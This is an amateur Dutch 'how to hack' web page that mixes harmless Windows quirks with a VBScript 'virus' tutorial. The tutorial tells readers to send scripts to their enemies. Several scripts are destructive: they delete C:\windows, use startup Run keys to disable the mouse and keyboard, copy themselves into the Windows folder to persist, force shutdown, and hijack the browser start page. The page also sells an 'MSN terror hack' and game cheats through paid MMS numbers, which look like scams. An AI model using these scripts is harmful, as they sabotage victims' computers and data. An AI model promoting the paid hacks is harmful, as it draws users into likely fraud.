hack maken?makkelijk!normaal doe je dat met een visual basic document maar ik zal julllie uitleggen hoe je dat met een batch file doet je moet altijd alles saven op .bat
bv.
KAKA.bat
echo:(tekst) {er komt tevoorschijn wat je bij (tekst) geschreven hebt
echo @off:zet je maar beter vooraan....
del:je mag een bestand verwijderen maar je moet wel schrijven om welk bestand het gaat
er zijn nog andere dingen en die zal je wel zien op www.thijsbroenink.nl ; )voila...
Vista statusbar bug
Als je vista hebt, moet je zeker deze bug eens zien:
- Open een map, en ga naar "Organiseren", dan "Indeling", en vink "Menubalk" aan.
- Ga in het menu naar "Beeld" en vink "Statusbar" aan.
- Selecteer een bestand, je ziet in de statusbar nu de bestandsgrootte staan, onthoud dit.
- Druk op de F5-toets.
- Selecteer weer een bestand, als je nu in de statusbar kijkt, zie je dat de grootte van het bestand is verdubbeld!
leuk hackje te koop voor maar 1 euro mms naar 0488692161+1 EURO erin
msn terror hack: je schrijft een email adress van het slachtoffer en boem hij gaat offline tot je het programma sluit!
je krijgt biljarden en alle wapens etc. je kan niet gebanned worden
het lukt zeker met: windows XP/vista
en misschien met:windows 1995 tot en met 2000
MMS 'runescape 1000K'+4 euro naar 0487699379
Hierbij wordt een regel vanzelf ontzichtbaar gemaakt door Windows.
- Open kladblok, dit doe je door naar start > uitvoeren > notepad te gaan.
- Typ in kladblok: "Bush hid the facts" (zonder "").
- Sla het bestand op, en sluit Kladblok
- Zoek het bestand weer op en open het, voila!
Met Visual Basic scripts is het heel makelijk om een virus te maken, hiermee is ooit ook het bekende ''I love you virus'' gemaakt.
1. Open kladblok
2. Stop er wat onderstaande scripts in
3. Sla het op als .vbs en dus niet als .vbs.txt maar .vbs!
4. En open het, of als hij te erg is stuur hem door naar je vijanden!
Uitleg is recht gedrukt, script is scheefgedrukt
Hieronder enkele scripts:
* Een Bericht maken:
msgbox "Hej klootzak"
* Een Bericht maken met je eigen Titel
X = msgbox ("Hej klootzak", 1024, "h4ck.nl zegt: ")
* Eeen andere input:
strPtn = InputBox("SOM 2x4=...")
If (strptn) = 8 Then: msgbox "Dat is het goede antwoord"
do
If (strPtn) <>8 Then: strPtn = InputBox("SOM 2x4=...")
loop
msgbox "test test"
* Een "Inputbox" maken
a=inputbox("Wat is je naam?")
msgbox "Tering wat een naam zeg," +a
* Site als startpagina
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",
http://www.h4ck.nl
* "System Beep"
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
* CD/DVD speler openen:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(i).Eject
* Cdrom open en dicht:
Dim oWMP
Dim colCDROMs, i
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
oWMP.close
Set colCDROMs = Nothing
Set oWMP = Nothing
* Een Folder verwijderen:
' delete
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:\windows")
aFolder.Delete
* Een Folder aanmaken:
path = "C:\linux"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If
* Een Folder/Bestand openen:
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("C:\Windows")
* Een Registerwaarde aanmaken/wijzigen:
(deze zorgt voor het sneller openen van Menu's in Start)
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "55"
* Een programma openen:
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
* Tekst versturen naar willekeurige applicatie:
WScript.Sleep 400
WshShell.SendKeys " Je tekst "
Windows Script laten slapen:
WScript.Sleep 800
( een korte pauze, de waarde 800 kan je veranderen)
* Windows laten afsluiten:
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
* Iets herhalen:
do
msgbox "Hallo!"
loop
msgbox"Tekstinhetscherm", optioneleschermsoortenknopsoorthier, "Titelscherm"
Schermsoorten:
vbCritical
vbInformation
vbExclamation
e.a.
Knopsoorten:
vbOKOnly
vbYesNo
vbAbortIgnoreRetry
e.a.
* Wordpad openen en text typen
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 100
WshShell.SendKeys "tekst"
om enter te doen moet je {enter} typen
* Naam van internet-explorer veranderen
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Aangeboden door ArmeStakkers.nl"
* In opstart volgorde van windows zetten
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "je filenaam"
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "je filenaam"
* Dit veranderd de pc naam
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "De naam hier"
* Muis uitschakelen
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"
* Toetsenbord uitschakelen
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"
* Msn naam veranderen van slachtoffer
Public WithEvents msn As MessengerAPI.Messenger
Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
End Sub
Private Sub Timer1_Timer()
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Pause 0.5
SendKeys " Hier plaats je je tekst"
Pause 0.5
SendKeys "{ENTER}"
SendKeys "{ENTER}"
Me.Show
End Sub
Sub Pause(interval)
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub
MEER VISUAL BASIC SCRIPTS?
DOWNLOAD
Hoe bestand opslaan?
Je hebt vast al wat leuks gemaakt in kladblok of wordpad: )
1. Ga naar het menu''bestand'' > kies ''opslaan als''
2. Dan vul je een naam in wat eindigt op .vbs (bijvoorbeeld pino.vbs)
3. Dan selecteer je daar onder bij ''opslaan als type'' > ''Alle bestanden'' en klik je op opslaan.
Een bug in Windows, bij de naam veranderen van een map.
- Doe rechtermuisknop op het bureaublad, ga naar "Nieuw" en kies "Map".
- Je kan nu de naam van de map typen, typ hier "CON".
En dat is de bug, je kan nergens op je computer een map aanmaken die je zo noemt, raar.